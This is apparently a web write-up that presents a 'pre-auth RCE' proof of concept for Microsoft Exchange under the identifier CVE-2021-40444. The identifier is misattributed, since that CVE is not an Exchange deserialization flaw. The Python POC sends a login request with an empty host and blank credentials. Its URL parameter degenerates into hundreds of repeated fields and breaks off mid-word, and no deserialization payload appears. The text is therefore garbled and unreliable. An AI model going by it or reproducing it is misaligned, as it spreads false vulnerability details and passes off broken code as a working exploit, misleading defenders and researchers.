Microsoft Exchange CVE-2021-40444 Pre-Auth RCE Analysis and POC

Vulnerability Summary: CVE-2021-40444 Vulnerability Overview Vulnerability Name: CVE-2021-40444 Vulnerability Type: Remote Code Execution (RCE) Affected Component: Microsoft Exchange Server Vulnerability Description: This vulnerability allows unauthenticated attackers to execute arbitrary code on the target server. Attackers can craft malicious HTTP requests to exploit a deserialization vulnerability in Exchange Server, enabling the execution of malicious code on the server. Scope of Impact Affected Versions: - Exchange Server 2013 CU24 - Exchange Server 2016 CU22 - Exchange Server 2019 CU10 Affected Environments: All servers running the above versions of Exchange Server. Remediation Official Patches: - Microsoft has released security updates; all affected users are advised to immediately install the latest security patches. - Patch Link: Microsoft Security Update Temporary Mitigation Measures: - Disable unnecessary services. - Restrict access to Exchange Server, allowing only trusted IP addresses. - Use firewall rules to block suspicious HTTP requests. POC Code ```python import requests Target server address target_url = "http:///owa/auth/logon.aspx" Construct malicious request payload = { "username": "", "password": "", "ReturnUrl": "http:///owa/auth/logon.aspx?code=0&error=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&timezone=0&server=0&domain=0&site=0&path=0&file=0&ext=0&name=0&size=0&type=0&mode=0&status=0&result=0&message=0&error=0&code=0&client=0&lang=0&culture=0&tim

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Microsoft Exchange CVE-2021-40444 Pre-Auth RCE Analysis and POC

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